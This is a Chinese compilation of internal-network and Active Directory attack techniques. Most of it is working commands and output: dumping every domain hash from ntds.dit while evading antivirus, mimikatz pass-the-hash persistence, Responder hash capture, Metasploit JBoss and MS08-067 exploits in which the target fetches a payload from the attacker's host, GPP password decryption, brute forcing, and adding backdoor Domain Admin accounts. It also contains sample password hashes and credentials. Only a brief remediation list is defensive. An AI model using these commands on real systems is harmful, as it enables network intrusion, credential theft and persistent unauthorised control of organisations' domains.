乌云知识库 - 域渗透与内网安全的内容编纂

测试环境

目标:导出当前域内所有用户的hash

测试环境: 域控:server2008 r2 杀毒软件:已安装* 域控权限:可使用net use远程登陆,不使用3389

测试方法


(1)mimikatz:
hash数量:只能抓取登陆过的用户hash,无法抓取所有用户 免杀:需要免杀
(2)pwdump:
hash数量:无法抓取所有用户 免杀:需要免杀
(3)vssown.vbs + libesedb + NtdsXtract

hash数量:所有用户 免杀:不需要 优点: 获得信息很全面,可获得以下信息: Record ID User name User principal name SAM Account name SAM Account type GUID SID When created When changed Account expires Password last set Last logon Last logon timestamp Bad password time Logon count Bad password count User Account Control Ancestors Password hashes Password history Supplemental credentials Member of 缺点: vssown.vbs使用后需要删除快照清理痕迹 vssown.vbs偶尔会报错 数据库巨大,下载回本地很麻烦 libesedb + NtdsXtract环境搭建麻烦,目前网上中文的教程存在一些错误,下载链接也已失效,需要自行摸索 用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取
Tips: libesedb + NtdsXtract环境搭建的一点提示:

(download libesedb) https://github.com/libyal/libesedb/releases/download/20150409/libesedb-experimental-20150409.tar.gz tar zxvf libesedb-experimental-20150409.tar.gz cd libesedb-20150409 ./configure make cd esedbtools/ ./esedbexport (copy ntds.dit to ~/libesedb-20150409/esedbtools) ./esedbexport ./ntds.dit (wait...) mv ntds.dit.export/ ../../ (download ntdsxtract) http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip unzip ntdsxtract_v1_0.zip cd NTDSXtract 1.0/ (move SYSTEM to '/root/SYSTEM') (get passwordhashes ) python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'


(4)ntdsutil.exe + QuarksPwDump.exe
hash数量:所有用户 免杀:QuarksPwDump.exe需要免杀 优点: 获得信息很全面 QuarksPwDump.exe可在windows下使用,读取hash值的操作简便快捷 缺点: ntdsutil.exe使用后需要删除快照清理痕迹 ntdsutil.exe偶尔会报错 巨大的数据库,QuarksPwDump.exe读取偶尔会报错 server2003的shell下无法使用

实际测试


-gethashes.exe:没有源码,忽略 mimikatz:无法抓出所有用户hash,本机管理员口令也无法导出 pwdump:抓取数量不足 vssown.vbs + libesedb + NtdsXtract:成功,耗时3天+ ntdsutil.exe + QuarksPwDump.exe:ntdsutil.exe报错,失败

分析:
5种方法唯一成功的是vssown.vbs + libesedb + NtdsXtract,但是耗时太久,操作麻烦,下载数据库容易暴露,vssown.vbs备份的信息容易被管理员发现 其他方法中可取的地方:vssown.vbs复制数据库的方法很是巧妙,但存在一些不足,配合域控的at命令执行较为麻烦;QuarksPwDump.exe可在windows下直接使用,免去读取数据库的等待,并且QuarksPwDump可获得源码,能够配合实际使用做修改。 那么大胆设想一下:如果使用QuarksPwDump.exe在域控上直接读取ntds.dit岂不是最好
改进:
(1)分析vssown.vbs的复制办法,找到一种更好的解决办法,改用ShadowCopy实现ntds.dit的复制 (2)对QuarksPwDump的改造,实现命令行下的自动读取及导出信息 Tips: ShadowCopy 是一款增强型的免费文件复制工具,由于使用了微软卷影副本(`Volume Shadow Copy`)技术,它能够复制被锁定的文件或者被其他程序打开的文件, 因此只要是硬盘的上的文件,即使正被程序占用,`ShadowCopy` 都可以拷贝出来。

最终方案


(1)使用ShadowCopy的命令行版,编写bat实现拷贝ntds.dit至当前目录

setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vsshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

(2)使用QuarksPwDump直接读取信息并将结果导出至文件,先执行

esentutl /p /o ntds.dit
修复复制出来的数据库
QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt
读取并导出。
注:实际使用时ntds.dit和log.txt需要加绝对路径

Tips:
QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process. 源码下载链接,vs2010直接编译即可 https://github.com/quarkslab/quarkspwdump

小结

ShadowCopy+QuarksPwDump: hash数量:所有用户 免杀:不需要 优点: 获得信息全面 bat一键搞定,简单高效 无需下载ntds.dit,隐蔽性高

前言

本文将会讲解在获取到域控权限后如何利用DSRM密码同步将域管权限持久化。 不是科普文,废话不多说。环境说明:
域控:Windows Server 2008 R2 域内主机:Windows XP

DSRM密码同步

这里使用系统安装域时内置的用于Kerberos验证的普通域账户krbtgt。

PS:Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。

同步之后使用法国佬神器(mimikatz)查看krbtgt用户和SAM中Administrator的NTLM值。如下图所示,可以看到两个账户的NTLM值相同,说明确实同步成功了。

修改注册表允许DSRM账户远程访问

修改注册表 HKLM\System\CurrentControlSet\Control\Lsa 路径下的 DSRMAdminLogonBehavior 的值为2。

PS:系统默认不存在DSRMAdminLogonBehavior,请手动添加。

使用HASH远程登录域控

在域内的任意主机中,启动法国佬神器,执行
Privilege::debug sekurlsa::pth /domain:WIN2K8-DC /user:Administrator /ntlm:bb559cd28c0148b7396426a80e820e20
会弹出一个CMD,如下图中右下角的CMD,此CMD有权限访问域控。左下角的CMD是直接Ctrl+R启动的本地CMD,可以看到并无权限访问域控。

一点说明

DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。另外,在下一次进行DSRM密码同步之前,NTLM的值一直有效。所以为了保证权限的持久化,尤其在跨国域或上百上千个域的大型内网中,最好在事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。

Netbios and LLMNR Name Poisoning

这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%\System32\drivers\etc\hosts),DNS服务器,NetBIOS广播,如果前2个请求失败,则在本地发送NetBIOS广播请求,此时任何本地网络的系统都能回答这个请求,使用SpiderLabs出品的Responder工具,能够在不借助ARP欺骗的情况下,响应这个请求.其实metasploit也能利用
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
但实际测试还是Responder比较好,都是套用标准库写的,很方便在目标上使用:)
~/Responder# python Responder.py -i 192.168.8.25 NBT Name Service/LLMNR Answerer 1.0. Please send bugs/comments to: lgaffie@trustwave.com To kill this script hit CRTL-C
NBT-NS & LLMNR responder started Global Parameters set: Challenge set is: 1122334455667788 WPAD Proxy Server is:OFF HTTP Server is:ON HTTPS Server is:ON SMB Server is:ON SMB LM support is set to:0 SQL Server is:ON FTP Server is:ON DNS Server is:ON LDAP Server is:ON FingerPrint Module is:OFF LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.12. The requested name was : 110. …snip… NBT-NS Answer sent to: 192.168.8.6
SMB-NTLMv2 hash captured from : 192.168.8.6 Domain is : BEACONHILLSHIGH User is : smccall
SMB complete hash is : smccall::BEACONHILLSHIGH:1122334455667788:reallylonghash Share requested: \\ECONOMY309\IPC$ …snip... LLMNR poisoned answer sent to this IP: 192.168.8.11. The requested name was : wpad.
SMB-NTLMv2 hash captured from : 192.168.8.11 Domain is : BEACONHILLSHIGH User is : lmartin
SMB complete hash is : lmartin:: BEACONHILLSHIGH:1122334455667788:reallylonghash Share requested: \\ADVCHEM\311IPC$ …snip…
这里的LM, NTLMv1, or NTLMv2哈希,能够用GPU或者彩虹表暴力破解.如果在responder会话过程中,抓到一个域管理员帐号,能够直接使用winexe运行cmd.exe命令
~/work/nmap# ~/SpiderLabs/winexe-PTH -U BEACONHILLSHIGH\\smccall%allison --uninstall --system //192.168.8.6 cmd.exe Microsoft Windows XP
(C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully. C:\WINDOWS\system32> net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully.

利用jboss漏洞

可以前期先用nmap扫描下端口,识别出常见的JAVA应用服务器,后期配合Metasploit的auxiliary模块来利用.比如jboss漏洞.最常见的就是弱口令了吧,同理的,也可以寻找webloigc,websphere,tomcat等这些基于JAVA的应用服务器,还有最近国内政府部门部署比较多的Apusic,不过需要注意war包格式,进后台,直接部署WAR就行了.jboss的除了弱口令,还有个后台绕过,和流传很久的1337那个.用例说下如何用metasploit暴力破解jboss后台,以及部署war包.
msfcli auxiliary/scanner/http/dir_scanner THREADS=25 RHOSTS=file:./8080 DICTIONARY=./http.scan.list RPORT=8080 E >> http.jboss.8080 ~/work/nmap# cat http.jboss.8080 <-- 这个是开25线程字典跑8080端口jboss后台的
Initializing modules... THREADS => 25 RHOSTS => file:./8080 DICTIONARY => ./http.scan.list RPORT => 8080
Detecting error code
Detecting error code
Detecting error code
Detecting error code
Using code '404' as not found for 192.168.5.18
Using code '404' as not found for 192.168.5.21
Using code '404' as not found for 192.168.5.20
Found http://192.168.5.20:8080/web-console/ 401 (192.168.5.20)
http://192.168.5.20:8080/web-console/ requires authentication: Basic realm="JBoss JMX Console"
Found http://192.168.5.20:8080/web-console/ 404 (192.168.5.20)
Found http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20)
http://192.168.5.20:8080/jmx-console/ requires authentication: Basic realm="JBoss JMX Console"
Found http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21)
Scanned 4 of 4 hosts (100% complete)
Auxiliary module execution completed Output from use auxiliary/scanner/http/jboss_vulnscan:
192.168.5.20:8080 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"
192.168.5.20:8080 Check for verb tampering (HEAD)
192.168.5.20:8080 Got authentication bypass via HTTP verb tampering
192.168.5.20:8080 Authenticated using admin:admin
192.168.5.20:8080 /status does not require authentication (200)
192.168.5.20:8080 /web-console/ServerInfo.jsp does not require authentication (200)
192.168.5.20:8080 /web-console/Invoker does not require authentication (200)
192.168.5.20:8080 /invoker/JMXInvokerServlet does not require authentication (200) Output from use exploit/multi/http/jboss_maindeployer: <--部署war包 msf exploit(jboss_maindeployer) > exploit
Started reverse handler on 192.168.5.233:4444
Sorry, automatic target detection doesn't work with HEAD requests
Automatically selected target "Java Universal"
Starting up our web service on http://192.168.5.233:1337/HlusdqEcokvXH.war ...
Using URL: http:// 192.168.5.233:1337/HlveuqEzrovXH.war
Asking the JBoss server to deploy (via MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war
Sending the WAR archive to the server...
Sending the WAR archive to the server...
Waiting for the server to request the WAR archive....
Shutting down the web service...
Executing HlusdqEcokvXH...
Successfully triggered payload at '/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp'
Undeploying HlusdqEcokvXH...
Sending stage (30355 bytes) to 192.168.5.159
Meterpreter session 1 opened (192.168.5.233:4444 -> 192.168.5.20:4209) at 2013-09-15 19:00:06 -0600 meterpreter > sysinfo Computer : BHHSMOFF011 OS : Windows 2003 5.2 (x86) Meterpreter : java/java meterpreter > shell Process 1 created. Channel 1 created. Microsoft Windows XP
(C) Copyright 1985-2001 Microsoft Corp. C:\DELLBAC\EJBContainer\bin>whoami whoami beaconhillshigh\backup_admin C:\>net user twadmin $piD3rsRul3! /add /domain net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully. C:\>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully.

MS08-067

这个漏洞已经超过4年了,但是内网中还是有很多机器没有打补丁,影响的有(Windows Server 2000, Windows Server 2003, and Windows XP),不过说实话,我内网渗透的过程中很少用MS08-067,因为溢出不好,有可能造成DOS,被人发现了,就不好了,你懂得.
nmap --script=smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 less ms08.nmap <-- 使用NMAP的smb-check-vulns脚本识别下 ...snip... Nmap scan report for shelob-squared (192.168.1.103) Host is up (0.00042s latency). Scanned at 2013-09-16 21:52:32 CDT for 55s PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:E3:25:78 (VMware) Host script results: | smb-check-vulns: | MS08-067: VULNERABLE <--bingo..有漏洞 | Conficker: Likely CLEAN | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE | MS06-025: NO SERVICE (the Ras RPC service is inactive) |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) ...snip...
nmap的NSE脚本是用LUA语言写的,把这些NSE都过一遍,对渗透很有帮助哦,尤其是在LINUX平台,win平台下除了有几种扫描方式利用不了,NSE脚本照样可以用,不过LINUX上默认安装的NMAP版本都比较低了,你不能直接放NSE到目录,注意看库之间的依赖关系,才能利用,上次看wooyun的drops,livers大牛回复我们组的Anthr@X牛的InsightScan.py,说用nse也实现了一个,我只想说,你能偷偷发我一份吗? 接下来,还是用metasploit溢出,不知道对中文系统效果怎么样,我没有试过 =.=
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf exploit(ms08_067_netapi) > set TARGET 0 TARGET => 0 msf exploit(ms08_067_netapi) > set LHOST 192.168.1.215 LHOST => 192.168.1.215 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit
Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 2 - lang:English
Selected Target: Windows XP SP2 English (AlwaysOn NX)
Attempting to trigger the vulnerability...
Sending stage (752128 bytes) to 192.168.1.103
Meterpreter session 1 opened (192.168.1.215:33354 -> 192.168.1.103:4444) at 2013-09-16 21:54:15 -0500 meterpreter > getsystem ...got system (via technique 1). meterpreter > sysinfo Computer : SHELOB-SQUARED OS : Windows XP (Build 2600, Service Pack 2). Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter > run hashdump
Obtaining the boot key...
Calculating the hboot key using SYSKEY 48c76bfa334c4c21edd1154db541c2c2...
Obtaining the user list and keys...
Decrypting user keys...
Dumping password hints... Frodo:"what do i have" Samwise:"Frodo" Stryder:"love" Legolas:"favorite saying" Gimli:"what am i" Boromir:"what I am" Gandalf:"moria"
Dumping password hashes... Administrator:500:f75d090d8564fd334a3b108f3fa6cb6d:3019d5d61cdf713c7b677efefc22f0e5::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:7e8a50750d9a1a30d3d4a83f88ea86ab:6fba9c0f469be01bab209ee2785a818d::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:861165412001ece0a5e73ab8863129d8::: Frodo:1003:74052b0fb3d802a3be4db4ed34a95891:a7cee25799f518f9bd886683a13ed6d0::: Samwise:1004:aad3b435b51404eeaad3b435b51404ee:7dff81410af5e2d0c2b6e54a98a8f622::: Stryder:1005:825f8bc99c2a5013e72c57ef50f76a05:1047f0b952cfbffbdd6c34ef6bd610e5::: Legolas:1006:625d787db20f1dd8aad3b435b51404ee:cc5b9f225e569fa3a2534be394df531a::: Gimli:1007:aad3b435b51404eeaad3b435b51404ee:e4d2534368ff0f1cbe2a42c5d79b9818::: Boromir:1008:e3bee25ac9de68cec2cc282901fd62d9:4231db4c15025d1951f3c0d39d8656a2::: Gandalf:1009:20ef2c7725e35c1dbd7cfc62789a58c8:02d0a4d2b6c7d485a935778eb90e0446::: meterpreter > shell Process 2708 created. Channel 1 created. Microsoft Windows XP
(C) Copyright 1985-2001 Microsoft Corp. C:\ WINDOWS\system32>whoami whoami MIRKWOOD\Gandalf C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.

GPO cpassword

这个原理完全可以看瞌睡龙牛翻译的http://drops.wooyun.org/papers/576,本文中亮点是他从LINUX连接到WIN的,有许多同学不会通过linux渗透WIN域,尤其是在得到一个WEBSHELL,还是ROOT权限,还是跟内网连着,还有个域用户的情况下(=.=现实中哪儿有这么多好的条件让你都碰到了)
smbclient -W MIRKWOOD -U ‘Legolas%orcs’ \\\\192.168.1.105\\SYSVOL <--使用smbclient连接, 支持上传下载 Domain=
OS=
Server=
smb: \> dir . D 0 Wed Sep 15 15:08:37 2012 .. D 0 Wed Sep 15 15:08:37 2012 mirkwood.local D 0 Wed Sep 15 15:08:37 2012 48457 blocks of size 4194304. 44175 blocks available smb: \> cd mirkwood.local\ smb: \smirkwood.local\> dir . D 0 Wed Sep 15 15:13:05 2012 .. D 0 Wed Sep 15 15:13:05 2012 Policies D 0 Tue Oct 30 10:29:31 2012 scripts D 0 Thu Nov 8 12:50:21 2012 smb:\> recurse smb:\> prompt off smb:\> mget Policies …snip… getting file \mirkwood\Policies\PolicyDefinitions\access32.admx of size 98874 as access32.admx (3657.0 KiloBytes/sec) (average 3657.0 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\access34.admx of size 131924 as access34.admx (27324.5 KiloBytes/sec) (average 7038.2 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\ActiveXInstallService.admx of size 7217 as ActiveXInstallService.admx (2303.1 KiloBytes/sec) (average 6722.5 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AddRmvPrograms.admx of size 7214 as AddRmvPrograms.admx (2301.6 KiloBytes/sec) (average 6446.2 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\asdf.admx of size 4249 as asdf.admx (122.0 KiloBytes/sec) (average 4940.4 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AppCompat.admx of size 4893 as AppCompat.admx (2633.2 KiloBytes/sec) (average 4835.6 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AttachmtMgr.admx of size 3865 as AttachmtMgr.admx (2912.5 KiloBytes/sec) (average 4752.0 KiloBytes/sec) getting file \ mirkwood \Policies\PolicyDefinitions\AutoPlay.admx of size 5591 as AutoPlay.admx …snip… smb:\> recurse smb:\> prompt off smb:\> mget scripts …snip… smb: \avi\> mget scripts Get directory scripts? y Get directory bin? y Get file #INCLUDE.BAT? y getting file \ mirkwood \scripts\bin\#INCLUDE.BAT of size 2839 as #INCLUDE.BAT (409.6 KiloBytes/sec) (average 409.7 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON.BAT of size 1438 as NETLOGON.BAT (28.9 KiloBytes/sec) (average 137.7 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON2.BAT of size 16781 as NETLOGON2.BAT (691.0 KiloBytes/sec) (average 566.0 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON3.BAT of size 16486 as NETLOGON3.BAT (1268.5 KiloBytes/sec) (average 773.6 KiloBytes/sec) getting file \ mirkwood \scripts\bin\NETLOGON4.BAT of size 17429 as NETLOGON4.BAT (1108.7 KiloBytes/sec) (average 858.8 KiloBytes/sec) …snip…
Once the files are downloaded, grep through both policies and scripts for Administrator or cpassword (either would work in this instance):
grep -ri administrator . grep -ri cpassword . ~/work/nmap/192.168.1.0-24/downloads/Policies# grep -ri administrator . ./{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml: :
The cpassword is taken and run through the decryption script from http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~/work# ruby decrypt.rb <--解密 Local*P4ssword! ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\’Administrator%Local*P4ssword!’ --uninstall --system //192.168.1.103 cmd.exe <-- winexe和win下经典工具psexec效果一样一样的 Microsoft Windows
(C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.

NetBIOS Null Enumeration Allowed on Server

其实就是说,域服务器,允许你空会话连接,然后列举账户信息,然后在破解账户,LINUX下用enum4linux.pl遍历用户,用medusa破解帐号,用winexec连接执行命令.WIN下的话,<<黑客大曝光>>查点那章看过木?
~/enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90 ~/work/targets/192.168.1.0-24# cat enum-192.168.1.90 Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013 ========================== | Target Information | ========================== Target ........... 192.168.1.90 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================================== | Enumerating Workgroup/Domain on 192.168.1.90 | ===================================================
Got domain/workgroup name: MIRKWOOD =========================================== | Nbtstat Information for 192.168.1.90 | =========================================== Looking up status of 192.168.1.90 MODOR <00> - M Workstation Service MIRKWOOD <00> - M Domain/Workgroup Name MIRKWOOD <1c> - M Domain Controllers MORDOR <20> - M File Server Service MAC Address = B5-AD-2F-37-2G-4F ==================================== | Session Check on 192.168.1.90 | ====================================
Server 192.168.1.90 allows sessions using username '', password '' …snip… ============================ | Users on 192.168.1.90 | ============================ index: 0x2b76 RID: 0xd08 acb: 0x00000610 Account: Administrator Name: Administrator Desc: (null) index: 0x1822 RID: 0xb0a acb: 0x00000414 Account: Frodo Name: Frodo Baggins Desc: (null) index: 0x1bga RID: 0xc0a acb: 0x00080210 Account: Samwise Name: Samwise Gamgee User Desc: (null) index: 0x1dc4 RID: 0xc7a acb: 0x00050210 Account: Stryder Name: Aragorn User Desc: (null) index: 0x1823 RID: 0xb0b acb: 0x00007014 Account: Legolas Name: Legolas Greenleaf Desc: (null) index: 0x1824 RID: 0xb0c acb: 0x00010014 Account: Gimli Name: Gimli son of Glóin Desc: (null) index: 0x1825 RID: 0xb0d acb: 0x00300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null) index: 0x126f RID: 0x9eb acb: 0x00004014 Account: Gandalf Name: Gandalf the Gray Desc: (null) index: 0x1826 RID: 0xb0e acb: 0x00020015 Account: gollum Name: gollum Desc: (null) …snip… ~/work/targets/192.168.1.90# cat enum-192.168.1.90 .txt | grep "Domain Admins" Group 'Administrators' (RID: 544) has member: MIRKWOOD\Domain Admins Group:
rid:
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Gandalf Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Stryder Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Administrator Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \gollum Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Saruman S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD \Domain Admins (Domain Group) S-1-5-21-1897573695-8675309227-1212564242-512 MORDOR\Domain Admins (Domain Group) ~/work/nmap/# medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusa ACCOUNT CHECK:
Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.1 User: gollum Password: gollum
ACCOUNT CHECK:
Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.100 User: gollum Password: gollum
ACCOUNT CHECK:
Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.105 User: gollum Password: gollum
ACCOUNT CHECK:
Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.106 User: gollum Password: gollum
ACCOUNT CHECK:
Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.107 User: gollum Password: gollum
ACCOUNT CHECK:
Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND:
Host: 192.168.1.11 User: gollum Password: gollum
…snip… ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\gollum%gollum --uninstall --system //192.168.1.106 cmd.exe Microsoft Windows
(C) Copyright 1985-2003 Microsoft Corp. C:\ WINDOWS\system32>whoami whoami MIRKWOOD\gollum C:\WINDOWS\system32>> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.

修补方法


少用XP/win2k吧,否则为了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning 从知名站点下载软件安装程序,更换软件自带的默认口令 勤劳打全系统补丁 做好账户审核 禁止空会话,关键服务器,做好VLAN划分

背景

在这篇文章里,我将分享一个新的PowerShell脚本来使用AD中Service Principal Name (SPN) 记录判别并攻击windows域中的SQL Server,而且不需要扫描发现。起初我写这个脚本是为了在渗透测试中帮助提权及定位关键的数据。下面我将展示它对攻击者和防御者是多么的有用。

非扫描式的SQL Server发现

当你没有SQL Server认证信息或试图攻击时,不同多样的扫描技术是非常有用的。但是这一过程却非常嘈杂,耗时。同时也有可能因为未知的网段信息、非标准的端口、广播域限制而错过服务器。当我在AD中偶遇 Service Principal Name (SPN) 时,我发现有一个便捷快速的方法定位域中的服务器。 微软的文档中是这样陈述的:” ServicePrincipleName(SPN)是客户端用来唯一标识一个服务实例的名称。”这也就意味着每一个在windows域中安装的服务都在AD中注册。同样也包括SQL Server。并且任何一个域成员都可以不用扫描获取ADS上所有的SQL Server信息,另外SPN包括实例确定的端口也就避免了扫描的麻烦。对于更多关于SPN的内容,可以参考我之前写的一篇文章 "Faster Domain Escalation Using LDAP"。 了解SPN信息在AD中存在之后确实很棒,但是很快我又意识到此时需要一个更加自动化的解决方案。

使用Get-SQLServerAccess PowerShell 模块自动化

在实验室里摆弄了一会,我认为如果有一个脚本可以自动化通过LDAP从ADS中获取SQL Server的列表,然后测试当前域用户针对其的权限,再一次我想到了PowerShell。因为它本身就支持我需要的一切。例如,标准的PowerShell v.3包含LDAP查询、SQL Server查询、IP解析、ICMP请求、数据分析,无需额外的库、cmdlets,或者方法。 在一阵修补后,我打包成一个powershell 模块叫做”Get-SQLServerAccess.psm1”,我试着添加足够的参数便于防御者快速有效的发现问题所在,攻击者也可以在提权中使用。同样它也非常方便简单的发现数据储存的地方。接下来我试着从攻击者和防御者的角度突出地介绍一些功能。 我将Get-SQLServerAccess写成一个Powershell模块,所以对于那些不熟悉的人我会先介绍安装步骤。

安装Get-SQLServerAccess模块

这个脚本可以从我的github上下载(here),在某些时候我也会将它提交到Posh-SecMod,无论如何,请注意它需要Powershell v3的环境。这个模块可以手动安装通过将其下载至下面路径中的任意一处:
%USERPROFILE%\Documents\WindowsPowerShell\Modules\Get-SQLServerAccess\ %WINDIR%\System32\WindowsPowerShell\v1.0\Modules\Get-SQLServerAccess\
然后你就可以通过下面的语句导入:
Import-Module c:\temp\Get-SQLServerAccess.psm1
同样你可以通过下面的语句判断是否导入成功
Get-Command Get-SQLServerAcess
防御者使用示例 数据库管理员通常都会给所有域成员登录SQLServer的权限,因为实际上他们也不确定哪个域用户组成员需要权限,另外SQL Server的老版本默认允许域用户登陆,这是因为一个权限继承的问题(见之前的文章here)。这些错误配置导致未认证的域用户获取数据和系统的权限,作为一个防御者快速的发现这些错误配置并修正是极好的。 Get-SQLServerAccess默认输出允许当前域用户登陆的SQL Server,另外输出也会显示SQL Server实例的名称。如果用户有SQL Serversy的sadmin权限,并且运行SQL Server服务的是域管理员权限,那么下面的几个示例,我想对于防御者是非常方便的。 通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这是默认的输出显示。
PS C:\Get-SQLServerAccess
----------------------------------------------------------------------
Start Time: 04/01/2014 10:00:00
Domain: mydomain.com
DC: dc1.mydomain.com
Getting list of SQL Server instances from DC as mydomain\myuser...
5 SQL Server instances found in LDAP.
Attempting to login into 5 SQL Server instances as mydomain\myuser...
----------------------------------------------------------------------
Failed - server1.mydomain.com is not responding to pings
Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed
SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No
